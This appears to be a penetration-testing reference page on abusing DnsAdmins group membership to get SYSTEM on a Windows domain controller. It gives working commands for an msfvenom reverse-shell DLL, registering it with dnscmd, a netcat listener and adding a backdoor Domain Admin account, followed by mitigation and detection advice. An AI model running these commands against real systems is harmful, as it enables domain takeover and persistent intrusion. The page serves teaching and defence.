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DnsAdmin

Description

Users who are members of the group 'DnsAdmins' have the ability to abuse a feature in the Microsoft DNS management protocol to make the DNS server load any specified DLL. The service which in turn, executes the DLL is performed in the context of SYSTEM and could be used on a Domain Controller (Where DNS is usually running from) to gain Domain Administrator privileges.

Enumeration

Get-NetGroupMember -Identity "DNSAdmins"

Exploitation

This attack scenario takes places on a Windows Server 2019 Domain Controller where, an adversary has access to the user, Moe's credentials and is connected over WinRM from Kali Linux. Moe has been discovered to be a member of the DnsAdmins group.

msfvenom can then be used to create a malicious DLL that, when executed by DNS will connect back to the attackers machine in the context of SYSTEM on the Domain Controller.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=80 -f dll > exploit.dll

Once the malicious DLL has been uploaded to the target the following command can be used to register the DLL.

dnscmd.exe <DCName> /config /serverlevelplugindll <PathToDLL>
dnscmd.exe dc01 /config /serverlevelplugindll C:\Users\Moe\Documents\exploit.dll

Over on the attackers system a netcat listener is set to listen in, on the port specified in the msfvenom command earlier.

# Attacker system
nc -lvp 80

From here stopping the DNS service and starting it again will spawn a SYSTEM shell to the netcat listener.

sc.exe stop dns
sc.exe start dns

If the privileges of the current user do not allow for stopping or starting of the DNS service you may be able to complete the exploit by crashing the service or rebooting the target system to force a DNS restart.

The netcat shell should now connect as SYSTEM.

From here Domain Administrator persistence can be achieved. A new user can be created with Domain Administrator privileges.

net user Barney Password123 /add
net group "Domain Admins" /add Barney

Metasploit

use exploit/windows/local/dnsadmin_serverlevelplugindll

Mitigation

  • Ensure only admin accounts are members of the DNSAdmins group and ensure they only administer DNS from admin systems. Include DNSAdmins in the list of groups that membership is carefully scrutinized.

  • Regularly review the DNS server object permissions for any group/account that shouldn’t have privileged access.

  • Restrict RPC communication to DCs to only admin subnets.

Detection

  • Monitor for changes to HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll on DNS Servers

# Check with Powershell
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

  • Monitor for child processes spawned under DNS.exe on DNS servers.

  • Audit ACL for write privilege to DNS server object and membership of DNSAdmins group

  • Monitor event logs for ID 150 [Failure] and ID 770 [Success]

Labs

Click the 'Show' tab to reveal online providers that use this attack vector

References

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